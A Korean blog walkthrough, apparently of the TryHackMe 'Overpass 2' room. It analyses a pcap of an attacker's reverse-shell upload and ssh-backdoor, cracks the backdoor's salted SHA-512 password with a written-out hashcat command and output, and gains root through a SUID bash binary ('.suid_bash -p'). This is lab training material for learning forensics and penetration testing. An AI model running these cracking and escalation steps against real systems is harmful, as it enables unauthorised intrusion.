개요
오랜만에 TryHackMe에 접속해 문제 하나를 풀어봤다.
이 문제는 WireShark를 통한 패킷분석방법과 Github Repo로부터 Code를 읽어내 필요한 정보를 획득하는 것에 초점이 맞춰져 있으며 그렇게 얻어낸 정보를 통해 다시 서버에 침투할 수 있는지를 물어보는 문제이다.
Task 1: Forensics - Analyse the PCAP
Task1에서는 tryhackme로부터 제공되는 pcap 파일에서 어떤 패킷을 주고받았는지를 물어보는 문제이다. 패킷을 읽기 위한 특별한 스킬이 요구되진 않는다. 즉, pcap 파일을 들여다보고 있으면 Attacker가 Vicitim에게 이런 요청을 보냈구나라고 확인되는 패킷이 눈에 보인다.
WireShark를 무작정 열어본다면 어떤 패킷을 먼저 읽어야 할지 답이 안 나온다. 다행히 이 문제는 개략적인 상황이 주어졌다.
Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened.
overpass가 해킹당했습니다! SOC 팀(Paradox, 승진 축하합니다)은 심야 교대 근무 중 시베를 살펴보던 중 의심스러운 활동을 발견하고 공격이 발생하면서 패킷을 캡처했습니다.
이 상황에서 유추해 볼 수 있는 건 “어떤 포인트를 통해 공격을 시도했을까”인데 너무 어렵게 생각하지 말고 http protocol부터 pcap 파일에서 찾아보기로 하자. 이 정도 사실을 가지고 pcap 파일을 관찰하다 보면 다음과 같은 통신이 일어났다는 걸 확인할 수 있다.
이상한 행동으로 보이는 패킷인데 Attacker가 /development/upload.php라는 경로에 php 파일을 업로드했다는 것을 알 수 있다. 이미지에 보이다시피 이 파일이 실행되면 reverse shell을 사용할 수 있게 된다. 이렇게 되면 Attacker는 침투에 성공했다는 뜻으로 봐야 되는데 그렇다면 공격자는 다음에 뭘 했느냐를 살펴보면 다음과 같다
(중간에 중요하지 않은 내용은 잘랐다.) 위 패킷을 통해 정리해 보면 공격자는 다음과 같은 행동을 시도했다.
- Attacker는 server에서 james 계정으로 로그인했다.
- 관리자 권한으로 실행가능한 명령어를 조회하고 ssh-backdoor라는 프로그램을 github로부터 다운로드한 뒤 서버에 backdoor를 심어놨다.
- 이후 ssh-backdoor를 2222번 port로 실행했다.
pcap 파일을 관찰함으로써 써먹을 수 있는 정보를 정리하면 다음과 같다.
- james라는 계정이 서버에 존재한다.
- ssh-backdoor라는 프로그램이 github에 공개되어 있으며 이를 실행시키기 위한 옵션이 드러나있다.
- ssh로 2222번 포트에 접속이 가능하다
Task 2: Research - Analyse the code
이제 두 번째 Task이다. 두 번째 Task는 첫 번째 Task에서 얻은 ssh backdoor이 Github repository를 분석하여 질문에 답하는 구조이다. github repository에 공개된 코드를 통해 파악할 수 있는 정보는 결론적으로 다음과 같다.
- ssh backdoor 프로그램에서 패스워드를 암호화하는 데 사용했던 salt
- ssh backdoor로 접속 가능한 password
ssh backdoor 프로그램에서 패스워드를 암호화하는 데 사용했던 salt는 github repository에 공개된 코드를 읽기만 하면 유추해 낼 수 있다.
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
...
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
위 코드는 github에서 복붙해온 코드인데 passwordHandler가 verifyPass()를 사용하고 verifyPass에는 salt를 통해 패스워드의 해쉬를 검증하고 있으니 passwordHandler에서 verifyPass()를 호출하는 데 사용한 두 번째 위치의 값이 salt인 것 을 알 수 있다. 문제는 ssh backdoor로 접속 가능한 password를 알아내는 것이다. 코드에는 패스워드를 암호화할 때 sha512를 적용했기 때문에 sha512로 복호화를 해야 된다. 여기서는 hashcat을 이용한 dictionary attack을 진행했다. hashcat에 날린 명령은 대략 다음과 같다.
╰─$ ./hashcat
-m 1710 \\
-a 0 \\
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05 \\
/Users/jako/private/cyber/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt
결과는 다음과 같은 아웃풋이 나온다.
The device #1 has been disabled as it most likely also exists as an OpenCL device, but it is not possible to automatically map it.
You can use -d 1 to use Metal API instead of OpenCL API. In some rare cases this is more stable.
METAL API (Metal 306.3.5)
=========================
* Device #1: Apple M1, skipped
OpenCL API (OpenCL 1.2 (Dec 16 2022 20:37:40)) - Platform #1 [Apple]
====================================================================
* Device #2: Apple M1, GPU, 960/10922 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 100c
Host memory required for this attack: 97 MB
Dictionary cache built:
* Filename..: /Users/jako/private/cyber/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:november16
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1710 (sha512($pass.$salt))
Hash.Target......: 6d05358f090eea56a238af02e47d44ee5489d234810ef624028...002a05
Time.Started.....: Sun Jul 9 23:50:48 2023 (0 secs)
Time.Estimated...: Sun Jul 9 23:50:48 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/Users/jako/private/cyber/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 14613.1 kH/s (0.21ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 262144/14344384 (1.83%)
Rejected.........: 0/262144 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: 123456 -> rebel91
Hardware.Mon.SMC.: Fan0: 37%
Hardware.Mon.#2..: Util: 19%
Started: Sun Jul 9 23:50:35 2023
Stopped: Sun Jul 9 23:50:49 2023
november16가 ssh-backdoor에 사용된 패스워드인 것을 알 수 있다.
Task3 Attack - Get Back in!
3번째 Task는 Task1과 Task2에서 얻은 정보를 바탕으로 실제로 Machine에 침투해 Root 권한을 얻어보는 것이다. Machine을 실행시켜 Nmap을 때리면 다음과 같은 결과가 나온다.
# Nmap 7.94 scan initiated Fri Jul 14 00:33:05 2023 as: nmap -sC -sV -oA nmap/initial 10.10.48.86
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:3a:be:ed:ff:a7:02:d2:6a:d6:d0:bb:7f:38:5e:cb (RSA)
| 256 fc:6f:22:c2:13:4f:9c:62:4f:90:c9:3a:7e:77:d6:d4 (ECDSA)
|_ 256 15:fd:40:0a:65:59:a9:b5:0e:57:1b:23:0a:96:63:05 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: LOL Hacked
|_http-server-header: Apache/2.4.29 (Ubuntu)
2222/tcp open ssh OpenSSH 8.2p1 Debian 4 (protocol 2.0)
| ssh-hostkey:
|_ 2048 a2:a6:d2:18:79:e3:b0:20:a2:4f:aa:b6:ac:2e:6b:f2 (RSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Fri Jul 14 00:35:04 2023 -- 1 IP address (1 host up) scanned in 119.50 seconds
Task1&2에서 얻었던 정보대로 2222번 port가 ssh로 열려있다. 이 포트로 접속하기 위한 credential은 이미 알고 있다. (james:november16) 접속해 보자.
╰─$ ssh -p 2222 james@10.10.211.140
필자의 경우 여기서부터 막혔다. 다음과 같은 에러가 일어났다.
Unable to negotiate with 10.10.211.140 port 2222: no matching host key type found. Their offer: ssh-rsa
위와 같은 에러가 일어나면 ssh 설정에 문제가 있는 경우이다. ssh config 파일을 아래와 같이 수정해 해결했다.
# ~/.ssh/config
Host 10.10.211.140
HostKeyAlgorithms ssh-rsa,ssh-dss
이제 다시 연결을 시도하면 접속이 가능하다
╰─$ ssh -p 2222 james@10.10.211.140 130 ↵
The authenticity of host '[10.10.211.140]:2222 ([10.10.211.140]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:11: [10.10.48.86]:2222
~/.ssh/known_hosts:12: [10.10.239.137]:2222
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.211.140]:2222' (RSA) to the list of known hosts.
james@10.10.211.140's password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
james@overpass-production:/home/james/ssh-backdoor$
root 권한으로 실행 가능한 파일을 찾는 게 먼저지만 home 디렉터리를 뒤져봤더니 바로 root 권한으로 실행가능한 파일이 보였다.
james@overpass-production:/home/james/ssh-backdoor$ cd ~
james@overpass-production:/home/james$ ls
ssh-backdoor user.txt www
james@overpass-production:/home/james$ ls -al
total 1136
drwxr-xr-x 7 james james 4096 Jul 22 2020 .
drwxr-xr-x 7 root root 4096 Jul 21 2020 ..
lrwxrwxrwx 1 james james 9 Jul 21 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 james james 3771 Apr 4 2018 .bashrc
drwx------ 2 james james 4096 Jul 21 2020 .cache
drwx------ 3 james james 4096 Jul 21 2020 .gnupg
drwxrwxr-x 3 james james 4096 Jul 22 2020 .local
-rw------- 1 james james 51 Jul 21 2020 .overpass
-rw-r--r-- 1 james james 807 Apr 4 2018 .profile
-rw-r--r-- 1 james james 0 Jul 21 2020 .sudo_as_admin_successful
-rwsr-sr-x 1 root root 1113504 Jul 22 2020 .suid_bash
drwxrwxr-x 3 james james 4096 Jul 22 2020 ssh-backdoor
-rw-rw-r-- 1 james james 38 Jul 22 2020 user.txt
drwxrwxr-x 7 james james 4096 Jul 21 2020 www
james@overpass-production:/home/james$ ./suid_bash -pl
bash: ./suid_bash: No such file or directory
james@overpass-production:/home/james$ ./suid_bash -p
bash: ./suid_bash: No such file or directory
james@overpass-production:/home/james$ ./.suid_bash -p
.suid_bash-4.4# whoami
root
맺음말
항상 TryHackMe나 HackTheBox의 문제를 푸는 과정은 관련 지식이 생소한 게 많다 보니 생각을 너무 과하게 하는 측면이 존재한다. 그런데 이번 문제의 경우엔 정보를 취득해 접근하는 방식으로 진행해서 그런지 삽질할 시간이 많이 줄었던 문제인 것 같다.
'Pentest > TryHackMe' 카테고리의 다른 글
[TryHackMe] Pickle Rick (0) | 2023.08.19 |
---|---|
[TryHackMe] Easy Peasy (0) | 2023.07.23 |
[TryHackMe] Ninja Skills (0) | 2023.03.18 |
[TryHackMe] IDE (0) | 2021.10.17 |
JPGChat : ServerSide Injection (0) | 2021.03.11 |